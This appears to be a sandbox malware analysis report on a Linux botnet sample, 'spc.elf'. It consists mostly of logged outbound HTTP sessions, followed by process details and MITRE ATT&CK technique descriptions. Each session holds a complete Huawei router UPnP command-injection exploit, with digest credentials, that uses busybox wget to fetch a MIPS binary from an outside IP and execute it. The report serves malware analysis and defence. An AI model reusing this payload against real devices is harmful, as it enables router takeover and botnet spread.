2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	41580	156.196.177.232	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.863331079 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	37132	41.240.1.22	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.863925934 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	50508	197.45.230.253	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.864478111 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	33936	41.181.27.30	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.865024090 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	40604	156.153.176.175	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.865569115 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	45390	41.28.122.113	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.866132021 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	34056	156.79.85.120	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.882910013 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	46538	41.199.42.109	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.883688927 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: spc.elf PID: 6220, Parent PID: 6137

General

Start time (UTC):	22:16:41
Start date (UTC):	03/12/2024
Path:	/tmp/spc.elf
Arguments:	/tmp/spc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	22:16:41
Start date (UTC):	03/12/2024
Path:	/tmp/spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	22:16:41
Start date (UTC):	03/12/2024
Path:	/tmp/spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	22:16:41
Start date (UTC):	03/12/2024
Path:	/tmp/spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	22:16:41
Start date (UTC):	03/12/2024
Path:	/tmp/spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	22:16:41
Start date (UTC):	03/12/2024
Path:	/tmp/spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report spc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: spc.elf PID: 6220, Parent PID: 6137

General

Chronological Activities

Analysis Process: spc.elf PID: 6222, Parent PID: 6220

General

Chronological Activities

Analysis Process: spc.elf PID: 6228, Parent PID: 6222

General

Chronological Activities

Analysis Process: spc.elf PID: 6230, Parent PID: 6222

General

Chronological Activities

Analysis Process: spc.elf PID: 6232, Parent PID: 6222

Linux Analysis Report
spc.elf